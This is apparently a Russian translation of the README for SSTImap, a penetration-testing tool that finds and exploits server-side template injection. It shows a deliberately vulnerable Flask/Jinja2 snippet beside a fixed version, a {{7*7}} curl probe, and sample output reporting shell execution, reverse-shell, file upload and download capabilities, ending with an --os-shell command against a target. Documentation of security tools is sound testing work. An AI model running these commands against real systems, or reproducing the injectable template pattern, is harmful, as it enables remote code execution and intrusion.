
SSTImap v1.4
Автоматический инструмент обнаружения SSTI с интерактивным интерфейсом
SSTImap
Этот проект основан на Tplmap.
SSTImap — это программное обеспечение для тестирования на проникновение, которое может проверять веб-сайты на наличие уязвимостей внедрения кода и Server-Side Template Injection, а также эксплуатировать их, предоставляя доступ к самой операционной системе.
Этот инструмент был разработан для использования в качестве интерактивного инструмента тестирования на проникновение для обнаружения и эксплуатации SSTI, что позволяет проводить более продвинутую эксплуатацию. Дополнительные полезные нагрузки для SSTImap можно найти здесь.
Полезные нагрузки и техники взяты из:
- James Kettle's [Server-Side Template Injection: RCE For The Modern Web App][5]
- Других публичных исследований [[1]][1] [[2]][2] [[8]][8]
- Вкладов в Tplmap [[3]][3] [[4]][4]
- Моих собственных исследований [[9]][9]
Этот инструмент способен эксплуатировать некоторые побеги из контекста кода и сценарии слепого внедрения. Он также поддерживает внедрение кода, подобное eval(), в Java, JavaScript, PHP, Python, Ruby и универсальных шаблонизаторах без песочницы.
Ключевые отличия от Tplmap
Хотя это программное обеспечение основано на коде Tplmap, обратная совместимость не обеспечивается.
- Добавлены две новые техники для обнаружения и эксплуатации SSTI
- Интерактивный режим (
-i), обеспечивающий более лёгкую эксплуатацию и обнаружение - Простые оценочные полезные нагрузки в качестве маркеров ответа в случае отражения полезной нагрузки
- Добавлены новые полезные нагрузки для универсальных шаблонов, для тестирования всех контекстов используйте
--generic - Универсальное обнаружение внедрения шаблонов с помощью модуля
Eval_generic - Выполнение оболочки (eval()-подобной) на базовом языке (
-x) или одиночной команды (-X) - Слепая загрузка файлов теперь поддерживает подтверждение MD5 и проверку существования файла
- Добавлены новые полезные нагрузки для большего количества шаблонов и обновлены многие существующие
- Модульная структура плагинов, позволяющая установку дополнительных плагинов
- Поддержка различных типов данных POST
- Добавлены обход сайта (crawling) и обнаружение форм
- Добавлены короткие версии для многих аргументов
- Некоторые старые аргументы командной строки были изменены, проверьте
-hдля справки - Код изменён для использования более новых возможностей Python
- Расширение Burp Suite временно удалено, так как Jython не поддерживает Python3
Server-Side Template Injection
Это пример простого веб-сайта, написанного на Python с использованием фреймворка [Flask][6] и шаблонизатора [Jinja2][7]. Он интегрирует предоставленную пользователем переменную name небезопасным способом, так как она конкатенируется со строкой шаблона перед рендерингом.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Такой способ использования шаблонов не только создаёт уязвимость XSS, но и позволяет атакующему внедрить код шаблона, который будет выполнен на сервере, что приводит к SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
Предоставленные пользователем данные должны вводиться безопасным способом через контекст рендеринга:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Предопределённый режим
SSTImap в предопределённом режиме очень похож на Tplmap. Он способен обнаруживать и эксплуатировать уязвимости SSTI в множестве различных шаблонов.
После эксплуатации SSTImap может предоставить доступ к оценке кода, выполнению команд ОС и манипуляциям с файловой системой.
Для проверки URL-адреса используйте аргумент -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Используйте опцию --os-shell для запуска псевдо-терминала на цели.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell